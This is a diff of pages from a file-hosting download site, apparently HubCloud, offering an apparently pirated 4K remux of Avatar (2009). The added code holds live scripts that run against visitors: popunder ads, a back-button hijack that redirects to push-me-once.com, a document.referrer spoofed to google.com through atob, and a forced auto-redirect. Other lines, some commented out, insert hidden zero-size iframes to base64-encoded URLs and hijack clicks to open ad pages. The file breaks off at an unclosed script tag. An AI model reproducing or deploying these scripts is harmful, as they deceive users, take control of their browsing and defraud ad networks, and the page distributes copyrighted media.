@ -217,7 +228,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzOEFuVnVvTHVEKzJ4eCtPUFBuUkRQRT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzMGxsdGd3eERlOWs1Z1AydDFjRUp4cz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||||
|
|
||||||
|
|
||||||
<center>
|
<center>
|
||||||
|
|
@ -228,7 +239,6 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTltdXlNZTd3OHJmcEtqSG1zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5 p-2" id="tgbtn" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Download From Telegram</a>
|
|
||||||
|
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
@ -270,25 +280,35 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
||||||
</div>
|
</div>
|
||||||
<div class="card">
|
<div class="card">
|
||||||
<div class="card-body" id="div1">
|
<div class="card-body" id="div1">
|
||||||
<p onclick="copy_link('div1')">https://hubcloud.one/drive/nknlofk8snfnknh</p>
|
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/nknlofk8snfnknh</p>
|
||||||
</div>
|
</div>
|
||||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
// function d(e){document.cookie=e+"=; path=/; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}setTimeout(()=>{d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))},2000);
|
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||||
// function clsd(){d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))}
|
</script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
|
||||||
|
|
||||||
|
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzMGxsdGd3eERlOWs1Z1AydDFjRUp4cz0=';
|
||||||
|
|
||||||
setTimeout(function(){
|
setTimeout(function(){
|
||||||
document.querySelector(".loading").classList.add("d-none");
|
document.querySelector(".loading").classList.add("d-none");
|
||||||
document.querySelector(".vd").classList.remove("d-none");
|
document.querySelector(".vd").classList.remove("d-none");
|
||||||
|
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
|
||||||
|
stck('xlax',"s4t",1440);
|
||||||
|
window.location.href = url;
|
||||||
|
}
|
||||||
}, 2000);
|
}, 2000);
|
||||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzOEFuVnVvTHVEKzJ4eCtPUFBuUkRQRT0=';
|
|
||||||
|
|
||||||
var download = document.getElementById('download');
|
var download = document.getElementById('download');
|
||||||
download.onclick = function() {
|
download.onclick = function() {
|
||||||
if (this.classList.contains('disabled')) {
|
if (this.classList.contains('disabled')) {
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
window.location.href = url;
|
window.location.href = url;
|
||||||
download.classList.add('disabled');
|
download.classList.add('disabled');
|
||||||
setTimeout(function() {
|
setTimeout(function() {
|
||||||
|
|
@ -296,9 +316,9 @@ download.onclick = function() {
|
||||||
}, 6000);
|
}, 6000);
|
||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
<script>
|
|
||||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}
|
|
||||||
</script>
|
|
||||||
<script>
|
<script>
|
||||||
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||||
</script>
|
</script>
|
||||||
|
|
@ -313,6 +333,7 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
||||||
<br><br>
|
<br><br>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
<div class="footer">
|
<div class="footer">
|
||||||
|
|
||||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,373 @@
|
||||||
|
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
aclib.runPop({
|
||||||
|
zoneId: '10553222',
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||||
|
<script>
|
||||||
|
document.addEventListener("DOMContentLoaded", function() {
|
||||||
|
history.pushState(null, null, location.href);
|
||||||
|
window.onpopstate = function () {
|
||||||
|
history.go(1);
|
||||||
|
window.location.href = 'https://push-me-once.com/go/1272663';
|
||||||
|
};
|
||||||
|
});Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
|
||||||
|
</script>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv</title>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||||
|
<meta name="referrer" content="no-referrer">
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
|
||||||
|
|
||||||
|
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||||
|
|
||||||
|
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
|
||||||
|
|
||||||
|
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</head>
|
||||||
|
<style>
|
||||||
|
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
|
||||||
|
.btn-success1 {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #28a745;
|
||||||
|
border-color: #28a745;
|
||||||
|
display: inline-block;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 1rem;
|
||||||
|
letter-spacing: .4px;
|
||||||
|
font-family: 'Open Sans',sans-serif!important;
|
||||||
|
font-weight: 600;
|
||||||
|
text-decoration:none !important;
|
||||||
|
vertical-align: middle;
|
||||||
|
-webkit-user-select: none;
|
||||||
|
-moz-user-select: none;
|
||||||
|
-ms-user-select: none;
|
||||||
|
user-select: none;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
padding: .375rem .75rem;
|
||||||
|
line-height: 1.5;
|
||||||
|
border-radius: .30rem;
|
||||||
|
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
|
||||||
|
}
|
||||||
|
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #1e7e34;
|
||||||
|
border-color: #1c7430;
|
||||||
|
}
|
||||||
|
.btn-success1:hover {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #218838;
|
||||||
|
border-color: #1e7e34;
|
||||||
|
}
|
||||||
|
.btn-success1.focus, .btn-success1:focus {
|
||||||
|
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
|
||||||
|
}
|
||||||
|
.btn-lg, .btn-group-lg > .btn2 {
|
||||||
|
padding: .5rem .6rem !important;
|
||||||
|
font-family: 'Open Sans',sans-serif!important;
|
||||||
|
letter-spacing: .1px;
|
||||||
|
border-radius: 0.35rem!important;
|
||||||
|
}
|
||||||
|
.ads-btns {
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden
|
||||||
|
}
|
||||||
|
.ads-btns a.btn2 {
|
||||||
|
min-width: 40%
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg {
|
||||||
|
fill: #fff;
|
||||||
|
width: 17px;
|
||||||
|
position: absolute;
|
||||||
|
right: 0;
|
||||||
|
top: 0
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg path {
|
||||||
|
fill: #fff;
|
||||||
|
stroke: #fff
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg:first-child path {
|
||||||
|
fill: #fff;
|
||||||
|
stroke: transparent
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg:first-child {
|
||||||
|
right: 20px
|
||||||
|
}
|
||||||
|
.downloads-btns-div .btn2 {
|
||||||
|
margin: 0 3px 12px
|
||||||
|
}
|
||||||
|
.btn2 {
|
||||||
|
font-style: normal;
|
||||||
|
font-weight: 500;
|
||||||
|
font-size: 14px;
|
||||||
|
text-align: center;
|
||||||
|
text-transform: uppercase;
|
||||||
|
border: 2px solid #cbfc01;
|
||||||
|
padding: 10px 15px;
|
||||||
|
border-radius: 6px;
|
||||||
|
-webkit-border-radius: 6px;
|
||||||
|
-moz-border-radius: 6px;
|
||||||
|
background: #0ebac3;
|
||||||
|
color: #000;
|
||||||
|
display: inline-block;
|
||||||
|
text-decoration: none;
|
||||||
|
background: #cbfc01
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
.btn-zip {
|
||||||
|
border-color: #00d0ff;
|
||||||
|
background: #00d0ff;
|
||||||
|
color: #000
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<body><center>
|
||||||
|
<br/>
|
||||||
|
<div class="header">
|
||||||
|
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
<div class="card-body">
|
||||||
|
<h2>
|
||||||
|
<div class="main" id="section2">
|
||||||
|
|
||||||
|
<div class="card h6">
|
||||||
|
|
||||||
|
<div class="card-header text-white bg-primary mb-3">
|
||||||
|
Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv </div>
|
||||||
|
|
||||||
|
<div class="card-body">
|
||||||
|
<ul class="list-group">
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">60.21 GB</i></li>
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="date">13-May-2025 05:55:49</i></li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<p class="h3 text-success">Download Link Generated</p>
|
||||||
|
<div class="input-group mb-3">
|
||||||
|
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/1qepetxqp4nhxxq" readonly="" id="ilink">
|
||||||
|
<div class="input-group-prepend">
|
||||||
|
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Banners -->
|
||||||
|
<!--<ins data-revive-zoneid="6" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
|
||||||
|
<!-- Mobile Banners -->
|
||||||
|
<!--<ins data-revive-zoneid="7" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
|
||||||
|
<!--<script async src="//greenfox.ink/d/asyncjs.php"></script>-->
|
||||||
|
|
||||||
|
<div class="alert alert-warning h6" role="alert">
|
||||||
|
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="ad-container"></div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="ad-containerx"></div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<a href="https://love.polgen.buzz/9eb5c280ca70adc5c98417476ff16743?token=1768569027" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||||
|
<script>
|
||||||
|
const fsl = document.getElementById('fsl');
|
||||||
|
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<a href="https://pixel.hubcdn.fans/?id=916e54dbbc3923cf404ca0c44108f91051021dd4d146df1f0a3c215750cbd8206c23b3e8663d75214d4d981882457c38140d33c6ee0a906d4c78089033814f7e562947cae9e7459bbcb9d84cdcda434d20e0fb72be56fe7e6b12f5c754c48d0b::fca3f06af5c7c4b06bda6feb79165ada" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||||
|
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||||
|
|
||||||
|
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||||
|
Resume Not Supported in 10Gbps So Use only if you have stable internet (:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function createIntentURL({host, scheme = 'http', type = 'application/octet-stream'}) {
|
||||||
|
let host_ = host.replace('https://', '');
|
||||||
|
return `intent://${host_}#Intent;scheme=${scheme};action=android.intent.action.VIEW;type=${type};S.browser_fallback_url=${encodeURIComponent(host)};end`;
|
||||||
|
}
|
||||||
|
function isAndroid() {
|
||||||
|
return /Android/i.test(navigator.userAgent);
|
||||||
|
}
|
||||||
|
|
||||||
|
const android_launch = document.getElementById('android_launch');
|
||||||
|
if(isAndroid()){
|
||||||
|
android_launch.classList.remove("d-none");
|
||||||
|
android_launch.addEventListener('click', ()=>{
|
||||||
|
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://love.polgen.buzz/9eb5c280ca70adc5c98417476ff16743?token=1768569027',scheme: 'https',type: 'video/x-matrosk',
|
||||||
|
});anchor.click();
|
||||||
|
});
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</h2>
|
||||||
|
|
||||||
|
<div class="alert alert-warning" role="alert">
|
||||||
|
<p><b>Note : </b>Please Use Download Manager like <a href="https://www.google.com/search?q=idm+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDM</a> Or <a href="https://www.google.com/search?q=IDA+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDA</a> - To accelerate Your Download Speeds </p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-primary" role="alert">
|
||||||
|
<p><b>Note:</b> <i>Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<p><b>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<br>
|
||||||
|
<div class="tab-content">
|
||||||
|
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||||
|
<div class="text" align="center">
|
||||||
|
<ul class="nav nav-tabs" role="tablist">
|
||||||
|
<li class="nav-item">
|
||||||
|
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-body" id="div1">
|
||||||
|
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/1qepetxqp4nhxxq</p>
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
var size = document.getElementById("size").innerHTML
|
||||||
|
var sharelink = document.getElementById("sharelink").innerHTML
|
||||||
|
if(size == 'NAN '){swal({
|
||||||
|
title: "Token Expired!",
|
||||||
|
text: "Token Link has been expired Please Click on Ok Button To Generate New Link!",
|
||||||
|
type: "success"
|
||||||
|
}).then(function() {
|
||||||
|
window.location = document.location.href = sharelink;
|
||||||
|
});}
|
||||||
|
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied ! : "+e)}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
// const L_=["aHR0cHM6Ly90aW55dXJsLmNvbS9hdm9ndXJsNHU="],localStorageKey="pds",hoursLimit=6;let opened=!1;document.addEventListener("click",function(){if(!opened){var a=localStorage.getItem(localStorageKey),l=(new Date).getTime();if(!(a&&l-a<216e5)){opened=!0;let e=L_[Math.floor(Math.random()*L_.length)],t=atob(e),o=document.createElement("a");o.href=t,o.target="_blank",o.rel="noopener noreferrer",a=new MouseEvent("click",{view:window,bubbles:!0,cancelable:!0}),o.dispatchEvent(a),setTimeout(()=>window.focus(),100),localStorage.setItem(localStorageKey,l)}}});
|
||||||
|
</script>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<br><br>
|
||||||
|
</div>
|
||||||
|
Msc
|
||||||
|
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||||
|
|
||||||
|
<!--2dl-->
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
|
||||||
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html><script>
|
||||||
|
window.sessionStorage.setItem('xl',window.location.href)
|
||||||
|
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/games/");
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
